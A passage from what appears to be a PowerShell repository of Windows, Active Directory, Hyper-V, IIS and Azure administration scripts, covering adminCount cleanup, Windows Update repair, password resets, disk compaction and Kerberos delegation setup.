Get-ADGroup -Filter {adminCount -eq 1} -Properties adminCount 13 | 14 | # Find all users with adminCount set to 1, excluding krbtgt 15 | $usersAdminCount = Get-ADUser -Filter {(adminCount -eq 1) -and (SamAccountName -ne 'krbtgt')} -Properties adminCount, MemberOf 16 | 17 | # Check each user to ensure they are not members of the identified groups 18 | $usersNotInAdminCountGroups = foreach ($user in $usersAdminCount) { 19 | $isInGroup = $false 20 | foreach ($group in $groupsAdminCount) { 21 | if ($user.MemberOf -contains $group.DistinguishedName) { 22 | $isInGroup = $true 23 | break 24 | } 25 | } 26 | if (-not $isInGroup) { 27 | $user 28 | } 29 | } 30 | 31 | # Depending on the RemoveAdminCount switch, remove the adminCount attribute or list the users 32 | if ($RemoveAdminCount) { 33 | foreach ($user in $usersNotInAdminCountGroups) { 34 | Set-ADUser -Identity $user.DistinguishedName -Clear adminCount 35 | Write-Host "Removed adminCount for user: $($user.Name)" 36 | } 37 | } else { 38 | # Output the filtered users 39 | Write-Host "Users with adminCount set but not in groups with adminCount set (excluding krbtgt):" 40 | $usersNotInAdminCountGroups | Select-Object Name, DistinguishedName, adminCount 41 | } 42 | -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "0.2.0", 3 | "configurations": [ 4 | { 5 | "type": "PowerShell", 6 | "request": "launch", 7 | "name": "PowerShell Launch Current File", 8 | "script": "${file}", 9 | "args": [], 10 | "cwd": "${file}" 11 | }, 12 | { 13 | "type": "PowerShell", 14 | "request": "launch", 15 | "name": "PowerShell Launch Current File in Temporary Console", 16 | "script": "${file}", 17 | "args": [], 18 | "cwd": "${file}", 19 | "createTemporaryIntegratedConsole": true 20 | }, 21 | { 22 | "type": "PowerShell", 23 | "request": "launch", 24 | "name": "PowerShell Launch Current File w/Args Prompt", 25 | "script": "${file}", 26 | "args": [ 27 | "${command:SpecifyScriptArgs}" 28 | ], 29 | "cwd": "${file}" 30 | }, 31 | { 32 | "type": "PowerShell", 33 | "request": "launch", 34 | "name": "PowerShell Interactive Session", 35 | "cwd": "${workspaceRoot}" 36 | }, 37 | { 38 | "type": "PowerShell", 39 | "request": "launch", 40 | "name": "PowerShell Pester Tests", 41 | "script": "Invoke-Pester", 42 | "args": [], 43 | "cwd": "${workspaceRoot}" 44 | }, 45 | { 46 | "type": "PowerShell", 47 | "request": "attach", 48 | "name": "PowerShell Attach to Host Process", 49 | "processId": "${command:PickPSHostProcess}", 50 | "runspaceId": 1 51 | } 52 | ] 53 | } -------------------------------------------------------------------------------- /Scripts/Windows Installation Media/XMLConfigFIle.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | D:\DeploymentShare\Operating Systems\Windows Server 2012 R2 Evaluation 6 | Windows Server 2012 R2 Standard Evaluation (Server with a GUI) 7 | 8 | 9 | D:\DeploymentShare\Operating Systems\Windows Server 2016 Evaluation 10 | Windows Server 2016 Standard Evaluation (Desktop Experience) 11 | 12 | 13 | D:\DeploymentShare\Operating Systems\Windows Server 2019 Evaluation 14 | Windows Server 2019 Standard Evaluation (Desktop Experience) 15 | 16 | 17 | D:\DeploymentShare\Operating Systems\Windows 10 Enterprise LTSC 2019 Evaluation 18 | Windows 10 Enterprise LTSC 19 | 20 | 21 | 22 | D:\DeploymentShare\Captures 23 | D:\Staging 24 | D:\Share 25 | C:\Program Files (x86)\Windows Kits\10\Assessment and Deployment Kit\Deployment Tools\amd64\Oscdimg\oscdimg.exe 26 | True 27 | True 28 | 29 | -------------------------------------------------------------------------------- /Examples/ResourceGroupBytemplate.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Creates a cost budget for a given resource group 4 | .DESCRIPTION 5 | Creates a monthly budget and notifies Contributors and Readers when the given threshold is reached 6 | .PARAMETER rgName 7 | Resource group the budget will be created for 8 | .PARAMETER budgetAmount 9 | Monthly budget you want to spend on this resource group 10 | .PARAMETER budgetThreshold 11 | Notification threshold for the given budget 12 | #> 13 | 14 | [CmdletBinding(DefaultParametersetName='none')] 15 | Param( 16 | [Parameter(Mandatory = $true)][ValidateNotNullOrEmpty()][string]$rgName, 17 | [Parameter(ParameterSetName='createBudget', Mandatory = $true)][ValidateRange(1,100000)][int]$budgetAmount, 18 | [Parameter(ParameterSetName='createBudget', Mandatory = $true)][ValidateRange(1,100)][int]$budgetThreshold 19 | ) 20 | 21 | # Budget ARM template URI 22 | $budgetTemplateUri = "https://raw.githubusercontent.com/Azure/azure-quickstart-templates/master/create-budget/azuredeploy.json" 23 | 24 | # Create budget for given resource group 25 | # The budget is created by using an ARM template. It is possible to create budgets using ARM API directly but this means dealing with API authentication 26 | # Azure PowerShell module cannot share credentials with ARM API which means the necessary token must be acquired seperately e.g. by using ARMClient.exe 27 | # The start date must be first of the month and should be less than the end date. 28 | $budgetParams = @{ 29 | budgetName = "$rgName-budget" 30 | amount = "$budgetAmount" 31 | budgetCategory = "Cost" 32 | timeGrain = "Monthly" 33 | startDate = "$(Get-Date -Day 1 -Format "yyyy-MM-dd")" 34 | endDate = "" 35 | operator = "GreaterThanOrEqualTo" 36 | threshold = "$budgetThreshold" 37 | contactEmails = @() 38 | contactRoles = "Contributor","Reader" 39 | contactGroups = @() 40 | resourcesFilter = @() 41 | metersFilter = @() 42 | } 43 | 44 | # Run ARM resource group deployment 45 | $ArmDeployment = New-AzResourceGroupDeployment -Name "initial-budget-$rgName" -ResourceGroupName $rgName -TemplateUri $budgetTemplateUri -TemplateParameterObject $budgetParams -------------------------------------------------------------------------------- /Functions/Repair-WindowsUpdate.ps1: -------------------------------------------------------------------------------- 1 | function Repair-WindowsUpdate { 2 | Set-Service -Name wuauserv -StartupType Manual 3 | Set-Service -Name BITS -StartupType Manual 4 | 5 | switch ( Get-Service -Name BITS ) { 6 | { $_.Status -eq 'Running' } { Stop-Service -Name BITS -Force } 7 | } 8 | 9 | switch ( Get-Service -Name wuauserv ) { 10 | { $_.Status -eq 'Running' } { Stop-Service -Name wuauserv -Force } 11 | } 12 | 13 | switch ( Test-Path -Path "C:\Windows\SoftwareDistribution" -PathType Container ) { 14 | $true { Remove-Item -Path "C:\Windows\SoftwareDistribution\*" -Recurse -Force -ErrorAction SilentlyContinue } 15 | } 16 | 17 | switch ( Test-Path -Path "C:\Windows\WindowsUpdate.log" -PathType Leaf ) { 18 | $true { Remove-Item -Path "C:\Windows\WindowsUpdate.log" -Force -ErrorAction SilentlyContinue } 19 | } 20 | 21 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\atl.dll } 22 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\jscript.dll } 23 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\msxml3.dll } 24 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\softpub.dll } 25 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wuapi.dll } 26 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wuaueng.dll } 27 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wuaueng1.dll} 28 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wucltui.dll } 29 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wups.dll } 30 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wuweb.dll } 31 | 32 | switch ( Get-Service -Name BITS ) { 33 | { $_.Status -eq 'Stopped' } { Start-Service -Name BITS -Force } 34 | } 35 | 36 | switch ( Get-Service -Name wuauserv ) { 37 | { $_.Status -eq 'Stopped' } { Start-Service -Name wuauserv -Force } 38 | } 39 | } -------------------------------------------------------------------------------- /Scripts/Set-ADResetPasswordAtLogon.ps1: -------------------------------------------------------------------------------- 1 | #requires -Module ActiveDirectory 2 | 3 | <#PSScriptInfo 4 | .VERSION 1.0 5 | .GUID 6de67fa4-ce51-4410-b34b-527f8ff9b20b 6 | .AUTHOR Michael Waterman 7 | .COMPANYNAME None 8 | .COPYRIGHT 9 | .TAGS Active Directory, Users, Passwords, Reset 10 | 11 | .NOTES 12 | AUTHOR: Michael Waterman 13 | Blog: https://michaelwaterman.nl 14 | LASTEDIT: 09-01-2024 15 | #> 16 | 17 | 18 | 19 | <# 20 | .SYNOPSIS 21 | This PowerShell script sets the "Reset Password at Next Logon" attribute for all user objects in a specified Organizational Unit (OU) in Active Directory. 22 | 23 | .DESCRIPTION 24 | This script takes an Organizational Unit (OU) path as a parameter and retrieves all user objects within that OU. It then sets the "Reset Password at Next Logon" attribute to $true for each user in the specified OU. You can use this script to enforce password changes for users in a specific OU. 25 | 26 | .PARAMETER ouPath 27 | Specifies the path to the Organizational Unit (OU) where the user objects are located in Active Directory. 28 | 29 | .EXAMPLE 30 | .\Set-ADResetPasswordAtLogon.ps1 -ouPath "OU=Users,DC=YourDomain,DC=com" 31 | This example sets the "Reset Password at Next Logon" attribute to $true for all user objects in the "Users" OU in the "YourDomain.com" domain. 32 | 33 | #> 34 | 35 | param ( 36 | [Parameter(Mandatory=$true)] 37 | [string]$ouPath 38 | ) 39 | 40 | # Use the Get-ADUser cmdlet to retrieve all user objects within the specified OU 41 | $users = Get-ADUser -Filter * -SearchBase $ouPath -Properties * -ResultPageSize 256 42 | 43 | # Check if $users is empty 44 | if ($users.Count -eq 0) { 45 | Write-Error "No user objects found in the specified OU: $ouPath" 46 | return 47 | } 48 | 49 | # Loop through the user objects and set the "Reset Password at Next Logon" attribute 50 | foreach ($user in $users) { 51 | # Set the "Reset Password at Next Logon" attribute to $true 52 | Set-ADUser -Identity $user -ChangePasswordAtLogon $true 53 | 54 | # Display user properties if verbose is used 55 | Write-Verbose "Setting 'Reset Password at Next Logon' for $($user.Name)" 56 | } 57 | -------------------------------------------------------------------------------- /Scripts/Convert-PingCastleToCSV.ps1: -------------------------------------------------------------------------------- 1 | # Parameter input 2 | ############################################################################################## 3 | [CmdletBinding(DefaultParameterSetName="Default")] 4 | param( 5 | [Parameter( 6 | Mandatory=$true 7 | )] 8 | [string]$XMLFile, 9 | [Parameter( 10 | Mandatory=$true 11 | )] 12 | [string]$Path 13 | ) 14 | ############################################################################################## 15 | 16 | 17 | # Check input file 18 | ############################################################################################## 19 | Test-Path $XMLFile -ErrorAction Stop | Out-Null 20 | ############################################################################################## 21 | 22 | 23 | # Check Output diectory 24 | ############################################################################################## 25 | If(-not (Test-Path $Path) ){ 26 | New-Item -Path $XMLFile -ItemType Directory -ErrorAction Stop | Out-Null 27 | } 28 | ############################################################################################## 29 | 30 | 31 | # Process the XML file 32 | ############################################################################################## 33 | $HealthcheckRiskRules = (Select-Xml -Path $XMLFile -XPath "/HealthcheckData/RiskRules/HealthcheckRiskRule").node 34 | $CsvObj = $HealthcheckRiskRules | Select-Object -Property "Rationale", "Category", "Points", "Health Impact", "Workload", "Priority", "Actions", "Hours", "Owner", "Status", "Remarks" 35 | ############################################################################################## 36 | 37 | 38 | # Export the file 39 | ############################################################################################## 40 | $DateTime = (([datetime](Select-Xml -Path $XMLFile -XPath *).node.GenerationDate).DateTime).ToString().replace(':',' ') 41 | $NetBiosName = ((Select-Xml -Path $XMLFile -XPath *).node.NetBiosName).ToLower() 42 | $WriteFilePath = (Join-Path -Path $Path -ChildPath $($NetBiosName + " - " + $DateTime + ".csv") ) 43 | 44 | $CsvObj | Export-Csv -Path $WriteFilePath -NoTypeInformation -Delimiter ';' 45 | ############################################################################################## -------------------------------------------------------------------------------- /Scripts/Compact-VirtualDisks.ps1: -------------------------------------------------------------------------------- 1 | #Requires -RunAsAdministrator 2 | 3 | <#PSScriptInfo 4 | .VERSION 1.0 5 | .GUID 138c1d25-5e80-4118-9cdb-3e5aa185380e 6 | .AUTHOR Michael Waterman 7 | .COMPANYNAME None 8 | .COPYRIGHT 9 | .TAGS Hyper-v, vhd, vhdx, compact 10 | #> 11 | 12 | <# 13 | .SYNOPSIS 14 | Compact vhdx virtual disk files. 15 | 16 | .DESCRIPTION 17 | This script list alls VMs and attached disks and compacts them. At the end it will display the 18 | gained disk space. 19 | 20 | .EXAMPLE 21 | Compact-VirtualDisks.ps1 22 | Obtain all local VMs, obtain all virtual disks and compact them. 23 | 24 | .NOTES 25 | AUTHOR: Michael Waterman 26 | Blog: https://michaelwaterman.nl 27 | LASTEDIT: 2024.06.13 28 | 29 | #> 30 | 31 | # Get all the virtual machines 32 | $VirtualMachines = Get-VM 33 | 34 | foreach($VirtualMachine in $VirtualMachines){ 35 | 36 | # Stop the machine if running 37 | If( $VirtualMachine.State -eq "Running"){ 38 | $State = "Running" 39 | Stop-VM -Name $VirtualMachine.VMName -Force 40 | while ((get-vm -name $VirtualMachine.VMName).state -ne 'Off'){ 41 | start-sleep -s 5 42 | } 43 | } Else { 44 | $State = $null 45 | } 46 | 47 | # Get all the Virtual Disks 48 | $VirtualDisks = Get-VMHardDiskDrive -VMName $VirtualMachine.name 49 | 50 | # Compact the virtual disks 51 | foreach($VirtualDisk in $VirtualDisks){ 52 | #get the initial size of the disk 53 | $PreSize = (Get-Item -Path $VirtualDisk.Path).Length/1mb 54 | 55 | # Compact the disk 56 | Optimize-VHD -Path $VirtualDisk.Path -Mode Full -Verbose 57 | 58 | # Get the new disk size 59 | $PostSize = (Get-Item -Path $VirtualDisk.Path).Length/1mb 60 | 61 | # Calculate the size difference 62 | $SizeDiff = $PreSize - $PostSize 63 | } 64 | 65 | # Start the VM again if it was running before maintenance 66 | If($State -eq "Running"){ 67 | Start-VM $VirtualMachine.VMName 68 | while ((get-vm -name $VirtualMachine.VMName).state -ne 'Running') { start-sleep -s 5 } 69 | } 70 | 71 | # Reset variables 72 | $SavedDiskSpace += $SizeDiff 73 | $PreSize = $null 74 | $PostSize = $null 75 | $SizeDiff = $null 76 | $State = $null 77 | } 78 | 79 | # Display the difference in Gigabytes 80 | Write-Host -ForegroundColor Green "Saved diskspace: $([math]::Round($SavedDiskSpace/1024,2)) Gigabyte" -------------------------------------------------------------------------------- /Scripts/Get-NetPortsProperties.ps1: -------------------------------------------------------------------------------- 1 | $Computername = $($env:COMPUTERNAME) 2 | $Output = @() 3 | $Service = $null 4 | $TCPConnections = $null 5 | $UDPConnections = $null 6 | 7 | $TCPConnections = Get-NetTCPConnection | where { ($_.LocalAddress -notmatch "::" -and $_.LocalAddress -notmatch "0.0.0.0" -and $_.LocalAddress -notmatch "127.0.0.1") } 8 | $UDPConnections = Get-NetUDPEndpoint | where { ($_.LocalAddress -NotMatch "::") -and ($_.LocalAddress -NotMatch "0.0.0.0") -and ($_.LocalAddress -NotMatch "127.0.0.1") } 9 | 10 | foreach($TCPConnection in $TCPConnections){ 11 | 12 | $Process = Get-Process -id $($TCPConnection.OwningProcess) | select Name, Path 13 | if($Process.Name -like "svchost"){ 14 | $Service = (Get-WmiObject -Class Win32_Service -Filter "ProcessId='$($TCPConnection.OwningProcess)'" | select -ExpandProperty Name) -join ", " 15 | } 16 | 17 | $Hashtable = @{ 18 | Path = $($Process.Path) 19 | "Local IPAddress" = $($TCPConnection.LocalAddress) 20 | "Local Port" = $($TCPConnection.LocalPort) 21 | "Remote IPAddress" = $($TCPConnection.RemoteAddress) 22 | "Remote Port" = $($TCPConnection.RemotePort) 23 | "TCP State" = $($TCPConnection.State) 24 | ProcessName = $($Process.Name) 25 | PID = $($TCPConnection.OwningProcess) 26 | "SVCHost Services" = $($Service) 27 | Protocol = "TCP" 28 | ComputerName = $Computername 29 | } 30 | 31 | if($($Hashtable.ProcessName) -ne "Idle"){ 32 | $OutPut += [pscustomobject]$Hashtable 33 | } 34 | 35 | $Service = $null 36 | } 37 | 38 | 39 | ## Process all UDP Connections 40 | foreach($UDPConnection in $UDPConnections){ 41 | 42 | $Process = Get-Process -id $($UDPConnection.OwningProcess) | select Name, Path 43 | if($Process.Name -like "svchost"){ 44 | $Service = (Get-WmiObject -Class Win32_Service -Filter "ProcessId='$($UDPConnection.OwningProcess)'" | select -ExpandProperty Name) -join ", " 45 | } 46 | 47 | $Hashtable = @{ 48 | Path = $($Process.Path) 49 | "Local IPAddress" = $($UDPConnection.LocalAddress) 50 | Port = $($UDPConnection.LocalPort) 51 | ProcessName = $($Process.Name) 52 | PID = $($UDPConnection.OwningProcess) 53 | "SVCHost Services" = $($Service) 54 | Protocol = "UDP" 55 | ComputerName = $Computername 56 | } 57 | 58 | if($($Hashtable.ProcessName) -ne "Idle"){ 59 | $OutPut += [pscustomobject]$Hashtable 60 | } 61 | 62 | $Service = $null 63 | } 64 | 65 | $Output | Sort-Object -Property Processname, Port | Select ComputerName, Processname, Path, PID, "SVCHost Services", "Local IPAddress", "Local Port", "Remote IPAddress", "Remote Port", Protocol, "TCP State" | Out-GridView -------------------------------------------------------------------------------- /Scripts/DotNetHardening.ps1: -------------------------------------------------------------------------------- 1 | #Setting variables 2 | $State=146432 3 | $Profiles="C:\Users\.NET v4.5", "C:\Users\.NET v4.5 Classic" 4 | 5 | # Regex pattern for SIDs 6 | $PatternSID = 'S-1-5-21-\d+-\d+-\d+-\d+$' 7 | 8 | # Get Username, SID, and location of ntuser.dat for all users 9 | $ProfileList = gp 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\*' | Where-Object {$_.PSChildName -match $PatternSID} | 10 | Select @{name="SID";expression={$_.PSChildName}}, 11 | @{name="UserHive";expression={"$($_.ProfileImagePath)\ntuser.dat"}}, 12 | @{name="Username";expression={$_.ProfileImagePath -replace '^(.*[\\\/])', ''}} 13 | 14 | # Get all user SIDs found in HKEY_USERS (ntuder.dat files that are loaded) 15 | $LoadedHives = gci Registry::HKEY_USERS | ? {$_.PSChildname -match $PatternSID} | Select @{name="SID";expression={$_.PSChildName}} 16 | 17 | # Get all users that are not currently logged 18 | $UnloadedHives = Compare-Object $ProfileList.SID $LoadedHives.SID | Select @{name="SID";expression={$_.InputObject}}, UserHive, Username 19 | 20 | # Loop through each profile on the machine 21 | Foreach ($item in $ProfileList) { 22 | # Load User ntuser.dat if it's not already loaded 23 | IF ($item.SID -contains $UnloadedHives.SID) { 24 | reg load HKU\$($Item.SID) $($Item.UserHive) | Out-Null 25 | } 26 | 27 | ##################################################################### 28 | # This is where you can read/modify a users portion of the registry 29 | 30 | New-ItemProperty -Path "registry::HKEY_USERS\$($Item.SID)\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing" -Name State -PropertyType DWord -Value $State -Force 31 | 32 | ##################################################################### 33 | 34 | # Unload ntuser.dat 35 | IF ($item.SID -contains $UnloadedHives.SID) { 36 | ### Garbage collection and closing of ntuser.dat ### 37 | [gc]::Collect() 38 | reg unload HKU\$($Item.SID) | Out-Null 39 | } 40 | } 41 | 42 | 43 | # because the .Net Accounts do not show up in the SID list, we use the trick below to set the registry keys 44 | foreach ($item in $Profiles) 45 | { 46 | $Checkpath = Test-Path $item 47 | 48 | if ($Checkpath) 49 | { 50 | #Load the User Hive 51 | reg.exe load HKLM\TempHive "$item\ntuser.dat" | Out-Null 52 | 53 | #Write the Registry Key 54 | New-ItemProperty -Path "registry::HKEY_LOCAL_MACHINE\TempHive\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing" -Name State -PropertyType DWord -Value $State -Force 55 | [gc]::Collect() 56 | 57 | #Unload ntuser.dat 58 | reg.exe unload HKLM\TempHive | Out-Null 59 | } 60 | } -------------------------------------------------------------------------------- /Scripts/Move_IIS.ps1: -------------------------------------------------------------------------------- 1 | #// Get new drive letter from parameters 2 | PARAM ( 3 | [Parameter(Mandatory=$True)] 4 | [string]$NewDrive, 5 | [Parameter(Mandatory=$False)] 6 | [switch]$Force 7 | ) 8 | 9 | #// Ensure the parameter is a sinlge character 10 | if ($NewDrive.Length -ne 1) { 11 | $NewDrive = $NewDrive.Substring(0,1) 12 | } 13 | 14 | #// Create variables 15 | $OldPath = "%SystemDrive%\inetpub" 16 | $NewPath = $NewDrive+":\inetpub" 17 | 18 | #// Check new drive actually exists 19 | if (!(Test-Path $NewDrive":\")) { 20 | Write-Host "ERROR:"$NewDrive":\ drive does not exist, stopping" 21 | Exit 22 | } 23 | 24 | #// Test if already exists or Force param present 25 | if (!($Force) -And (Test-Path $NewPath)) { 26 | Write-Host "ERROR: $NewPath already exists, halting move" 27 | Exit 28 | } 29 | 30 | #// Check IIS Installed 31 | if ((Get-WindowsFeature -Name Web-Server).InstallState -ne "Installed") { 32 | Write-Host "ERROR: IIS not installed, stopping" 33 | Exit 34 | } 35 | 36 | #// stop services 37 | Write-Host "INFO: Stopping IIS" 38 | $StopIIS = &iisreset /stop 39 | 40 | #// move inetpub directory 41 | Write-Host "INFO: Moving inetpub directoy to $NewPath" 42 | $MoveFiles = &Robocopy C:\inetpub $NewPath *.* /MOVE /S /E /COPYALL /R:0 /W:0 43 | 44 | #// Add file C:\inetpub\Moved_to_Disk_$NewDrive 45 | Write-Host "INFO: Adding movedto file" 46 | $NewDir = New-Item "C:\inetpub" -type directory 47 | $NewFile = Out-File C:\inetpub\Moved_to_Disk_$NewDrive 48 | 49 | #// modify reg 50 | Write-Host "INFO: Updating Registry" 51 | $RegUpdate = New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\InetStp" -Name "PathWWWRoot" -Value $NewPath"\wwwroot" -PropertyType ExpandString -Force 52 | $RegUpdate = New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\WAS\Parameters" -Name "ConfigIsolationPath" -Value $NewPath"\temp\appPools" -PropertyType String -Force 53 | $RegUpdate = New-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Microsoft\InetStp" -Name "PathWWWRoot" -Value $NewPath"\wwwroot" -PropertyType ExpandString -Force 54 | 55 | #// Backup and modify applicationHost.config file 56 | Write-Host "INFO: Backing up config file" 57 | copy-item C:\Windows\System32\inetsrv\config\applicationHost.config C:\Windows\System32\inetsrv\config\applicationHost.config.bak 58 | Start-Sleep 5 59 | 60 | #// Replace "%SystemDrive%\inetpub" with $NewDrive":\inetpub" 61 | Write-Host "INFO: Updating config file" 62 | (Get-Content C:\Windows\System32\inetsrv\config\applicationHost.config).replace("$OldPath","$NewPath") | Set-Content C:\Windows\System32\inetsrv\config\applicationHost.config 63 | 64 | #// Update IIS Config 65 | Write-Host "INFO: Updating appcmd config" 66 | $UpdateConfig = &C:\Windows\system32\inetsrv\appcmd set config -section:system.applicationhost/configHistory -path:$NewPath\history 67 | 68 | #// Start services 69 | Write-Host "INFO: Starting IIS" 70 | $StartIIS = &iisreset /start 71 | 72 | Write-Host "INFO: Completed" 73 | -------------------------------------------------------------------------------- /Scripts/Set-RandomPasswordForGroup.ps1: -------------------------------------------------------------------------------- 1 | #Requires -Modules ActiveDirectory 2 | #Requires -Version 5.1 3 | 4 | <#PSScriptInfo 5 | .VERSION 1.0 6 | .GUID f010f7b0-b940-4c77-be46-75e23a9d9c5c 7 | .AUTHOR Michael Waterman 8 | .COMPANYNAME None 9 | .COPYRIGHT 10 | .TAGS Active Directory, Users, Passwords, Passwordless 11 | #> 12 | 13 | <# 14 | .SYNOPSIS 15 | Randomize passwords for AD Users. 16 | 17 | .DESCRIPTION 18 | This script can set random passwords for user objects that are part of an 19 | Active Directory security group. This script is part of the last step for 20 | the implementation of passwordless authentication. 21 | 22 | .EXAMPLE 23 | Set-RandomPasswordForGroup.ps1 -GroupName "Group name" -PasswordLength 25 24 | Sets a new random password, that's 20 characters in length for all the users in the security group. Both 25 | parameters are mandatory. 26 | 27 | .EXAMPLE 28 | Set-RandomPasswordForGroup.ps1 -GroupName "Group name" -PasswordLength 25 -Debug 29 | Same as the previous example, but the debug parameter will display the user and the new password. 30 | 31 | .NOTES 32 | AUTHOR: Michael Waterman 33 | Blog: https://michaelwaterman.nl 34 | LASTEDIT: 2025.03.11 35 | #> 36 | 37 | [CmdletBinding(DefaultParameterSetName="Default")] 38 | param( 39 | [Parameter( 40 | Mandatory=$true 41 | )] 42 | [string]$GroupName, 43 | [Parameter( 44 | Mandatory=$true 45 | )] 46 | [int]$PasswordLength 47 | ) 48 | 49 | Function Get-RandomPassword 50 | { 51 | #define parameters 52 | param([Parameter(ValueFromPipeline=$false)][ValidateRange(1,256)][int]$PasswordLength = 10) 53 | 54 | #ASCII Character set for Password. 55 | $CharacterSet = @{ 56 | Lowercase = (97..122) | Get-Random -Count 10 | % {[char]$_} 57 | Uppercase = (65..90) | Get-Random -Count 10 | % {[char]$_} 58 | Numeric = (48..57) | Get-Random -Count 10 | % {[char]$_} 59 | SpecialChar = (33..47)+(58..64)+(91..96)+(123..126) | Get-Random -Count 10 | % {[char]$_} 60 | } 61 | 62 | #Frame Random Password from given character set. 63 | $StringSet = $CharacterSet.Uppercase + $CharacterSet.Lowercase + $CharacterSet.Numeric + $CharacterSet.SpecialChar 64 | 65 | -join(Get-Random -Count $PasswordLength -InputObject $StringSet) 66 | } 67 | 68 | # get all the group members. 69 | $GroupMembers = Get-ADGroupMember -Identity $GroupName 70 | 71 | # Parse all the members and set a new random password. 72 | Foreach ($Member in $GroupMembers){ 73 | $NewPassword = Get-RandomPassword -PasswordLength $PasswordLength 74 | 75 | Write-Debug $Member.name 76 | Write-Debug $NewPassword 77 | 78 | Set-ADAccountPassword -Reset ` 79 | -Identity $Member.distinguishedName ` 80 | -NewPassword (ConvertTo-SecureString -AsPlainText $NewPassword -Force) 81 | } -------------------------------------------------------------------------------- /Scripts/Azure/Create-AzureResourcegroup.ps1: -------------------------------------------------------------------------------- 1 | [CmdletBinding()] 2 | param ( 3 | [Parameter(Mandatory=$false)] 4 | [string]$Tenant, 5 | 6 | [Parameter(Mandatory=$false)] 7 | [string]$Subscription, 8 | 9 | [Parameter(Mandatory=$false)] 10 | [string]$ResourceGroupprefix, 11 | 12 | [Parameter(Mandatory=$true)] 13 | [string]$ResourceGroupSuffix, 14 | 15 | [Parameter(Mandatory=$false)] 16 | [string]$ResourceGroupLocation, 17 | 18 | [Parameter(Mandatory=$true)] 19 | [string]$ContributorName 20 | ) 21 | 22 | $ResourceGroup = ( ($ResourceGroupprefix).ToUpper() + ($ResourceGroupSuffix).ToUpper() ) 23 | $ErrorActionPreference = "Stop" 24 | 25 | function Test-AzContext ([string]$Tenant, [string]$Subscription) { 26 | 27 | switch ( [string]::IsNullOrEmpty( ( Get-AzContext ) ) ) 28 | { 29 | $false 30 | { 31 | Write-Verbose "Authentication to Azure successfully established." 32 | } 33 | $true 34 | { 35 | Connect-AzAccount -Tenant $Tenant ` 36 | -Subscription $Subscription ` 37 | } 38 | } 39 | } 40 | 41 | Test-AzContext -Tenant $Tenant -Subscription $Subscription 42 | 43 | ## Check the Azure location 44 | try { 45 | switch -Exact ( ( (Get-AzLocation).location).ToLower().Contains( ($ResourceGroupLocation).ToLower() ) ) { 46 | $true { Write-Verbose -Message "Using region $ResourceGroupLocation" } 47 | $false { Write-Error -Message "Azure location could not be located." } 48 | } 49 | } 50 | catch { 51 | Write-Error -Message $Error[0].Exception.Message 52 | } 53 | 54 | 55 | ## Get All the Resource Groups 56 | $ResourceGroups = Get-AzResourceGroup 57 | 58 | ## Create the Resource Group 59 | try { 60 | switch -Exact ( ( ( ($ResourceGroups.ResourceGroupName).ToUpper() ) ).Contains( ($ResourceGroup).ToUpper() ) ) { 61 | $true { Write-Error -Message "Resource Group Already Exists" } 62 | $false { $ResourceGroup = New-AzResourceGroup -Name $ResourceGroup ` 63 | -Location $ResourceGroupLocation } 64 | } 65 | } 66 | catch { 67 | Write-Error -Message $Error[0].Exception.Message 68 | } 69 | 70 | ## Give the user the contributor role 71 | try { 72 | switch -Exact ( (get-azaduser -UserPrincipalName $ContributorName).UserPrincipalName.ToUpper().Contains( ($ContributorName).ToUpper() ) ) { 73 | $true { New-AzRoleAssignment -ResourceGroupName $($ResourceGroup).ResourceGroupName ` 74 | -SignInName $ContributorName ` 75 | -RoleDefinitionName Contributor } 76 | $false { Write-Error -Message "The Contributor name could not be located"} 77 | } 78 | } 79 | catch { 80 | Write-Error -Message $Error[0].Exception.Message 81 | } 82 | 83 | ## Tag the Resource Group 84 | try { 85 | Set-AzResourceGroup -Name $($ResourceGroup).ResourceGroupName ` 86 | -Tag @{"Resource Owner"=$((get-azaduser -UserPrincipalName $ContributorName).DisplayName);"Creation Date"=(get-date -Format ("MM-dd-yyyy"))} 87 | } 88 | catch { 89 | Write-Error -Message $Error[0].Exception.Message 90 | } 91 | 92 | -------------------------------------------------------------------------------- /Scripts/Manage-WindowsAdminCenterDelgation.ps1: -------------------------------------------------------------------------------- 1 | #Requires -Modules ActiveDirectory 2 | 3 | <#PSScriptInfo 4 | .VERSION 1.0 5 | .GUID b4b1fb4c-c0ad-4d10-b0d4-3716e7d30263 6 | .AUTHOR Michael Waterman 7 | .COMPANYNAME None 8 | .COPYRIGHT 9 | .TAGS Active Directory, Windows Admin Center, WAC, Kerberos, Delgation 10 | #> 11 | 12 | <# 13 | .SYNOPSIS 14 | Sets the Constrained Delegation for Windows Admin Center. 15 | 16 | .DESCRIPTION 17 | This script can sets the resource-based kerberos constrained delegation for each node 18 | that is stored in an organisational unit. 19 | 20 | .EXAMPLE 21 | Manage-WindowsAdminCenterDelgation.ps1 -Computername "prod-mgmt" -Identity "OU=Servers,DC=corp,DC=Domain,DC=Com" 22 | Get all the enabled servers in the given OU, sets the constratined delegation for the Windows Admin 23 | Center host "prod-mgmt" in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. 24 | 25 | .EXAMPLE 26 | Manage-WindowsAdminCenterDelgation.ps1 -Clean -Identity 